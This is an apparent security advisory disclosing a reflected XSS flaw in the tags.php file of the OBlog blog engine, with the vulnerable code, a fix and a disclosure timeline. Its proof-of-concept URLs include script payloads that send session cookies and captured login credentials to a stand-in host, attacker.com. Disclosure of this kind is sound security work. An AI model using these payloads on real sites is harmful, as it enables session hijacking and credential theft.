- Application: OBlog (ttttonyhe/oblog)
- File: tags.php
- Parameter:
tag(GET) - Type: Reflected XSS
- Discovered by: hackus_man
- Date: 2026-06-16
The OBlog blog engine is vulnerable to a reflected Cross-Site Scripting (XSS) attack. The tag parameter in tags.php is directly echoed into the HTML response without any sanitization, escaping, or validation.
File: tags.php (line ~3)
<h2><?php echo $_GET['tag'] ?></h2>The parameter is taken directly from the URL and printed without using htmlspecialchars() or any other sanitization function.
http://localhost:8081/tags.php?tag=<script>alert(document.cookie)</script>
When a user visits this link, the JavaScript executes and displays an alert box containing their session cookies.
http://localhost:8081/tags.php?tag=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
http://localhost:8081/tags.php?tag=<script>document.getElementById('login').addEventListener('submit',function(e){e.preventDefault();fetch('https://attacker.com/log?data='+document.getElementById('username').value+':'+document.getElementById('password').value)})</script>
- Session Hijacking: Steal session cookies and impersonate users
- Credential Theft: Capture login credentials
- CSRF Bypass: Execute authenticated requests on behalf of users
- Defacement: Modify page content
- Phishing: Redirect users to malicious websites
<h2><?php echo htmlspecialchars($_GET['tag'], ENT_QUOTES, 'UTF-8'); ?></h2><h2><?php echo strip_tags($_GET['tag']); ?></h2>- Implement a Content Security Policy (CSP)
- Use a sanitization library like HTML Purifier
- Validate and whitelist allowed characters in
tagparameter
- Discovery: 2026-06-16
- Vendor Contacted: 2026-06-16 via GitHub Issue #2